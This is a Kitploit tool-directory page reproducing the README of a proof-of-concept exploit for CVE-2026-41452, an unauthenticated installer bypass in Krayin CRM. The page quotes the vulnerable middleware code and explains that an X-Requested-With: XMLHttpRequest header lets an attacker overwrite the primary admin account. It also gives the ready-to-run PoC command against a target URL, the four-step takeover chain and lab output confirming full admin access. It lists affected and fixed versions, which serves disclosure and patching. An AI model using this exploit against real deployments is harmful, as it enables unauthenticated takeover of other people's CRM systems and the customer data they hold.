Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41452-PoC — CVE-2026-41452 — Krayin CRM unauth installer bypass (X-Requested-With) → admin takeover. Verified: overwrite + login on 2.2.4, blocked on 2.2.5 | Kitploit
Tools/GitHubGitHub/boreas37/cve-2026-41452-poc
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubboreas37/cve-2026-41452-poc

CVE-2026-41452-PoC

CVE-2026-41452 — Krayin CRM unauth installer bypass (X-Requested-With) → admin takeover. Verified: overwrite + login on 2.2.4, blocked on 2.2.5

View Repository
41228 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41452 — Krayin CRM Installer Auth Bypass → Admin Takeover

CVSS 9.8 (Critical) · CWE-287 / CWE-306 · Jiva writeup · VulnCheck

Summary

Krayin CRM's installer exposes POST /install/api/admin-config-setup (plus run-migration, run-seeder) without CSRF protection (withoutMiddleware('web') group). The CanInstall global middleware only blocks the route for non-AJAX requests:

root@kitploit:~
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
    return redirect()->route('admin.dashboard');
}

Sending X-Requested-With: XMLHttpRequest skips the check entirely. The controller then updateOrInserts the hardcoded primary admin (user id=1) with attacker-supplied name/email/password (role_id=1, status=1) → unauthenticated full admin takeover on an already-installed instance.

Affected: ≤ 2.2.0 and 2.2.4 (regression). Fixed: 2.2.1 (e4eb96f5), regressed in 2.2.4 (6a7bc4cc), re-fixed in 2.2.5 (ea4919a8). master was still vulnerable at research time.

Exploit

root@kitploit:~
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'

Chain:

  1. Baseline: non-AJAX POST → blocked (302 redirect) — proves the middleware works for normal reqs
  2. AJAX POST X-Requested-With: XMLHttpRequest → HTTP 200 1 → admin (id=1) overwritten
  3. Login to /admin/login with the new credentials → redirect to /admin/dashboard
  4. Dashboard renders → takeover confirmed

Verification (2026-08-12, Docker lab, ARM64)

root@kitploit:~
[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall)        [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard          [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard)          [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===

Fixed-build comparison: with v2.2.5 files the same AJAX POST → HTTP 403 (blocked).

Impact

Any publicly reachable Krayin CRM install (v2.2.4 or ≤2.2.0) can be fully taken over by an unauthenticated attacker in one request. No CSRF, no credentials, no interaction required.

References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41452
  • Jiva Security writeup: https://jivasecurity.com/writeups/krayin-installer-bypass-account-takeover-cve-2026-41452
  • VulnCheck advisory: https://www.vulncheck.com/advisories/krayin-crm-missing-authentication-via-install-api-admin-config-setup
  • Fix: ea4919a8 (v2.2.5) · Regression: 6a7bc4cc (v2.2.4) · First fix: e4eb96f5 (v2.2.1)
Download Tool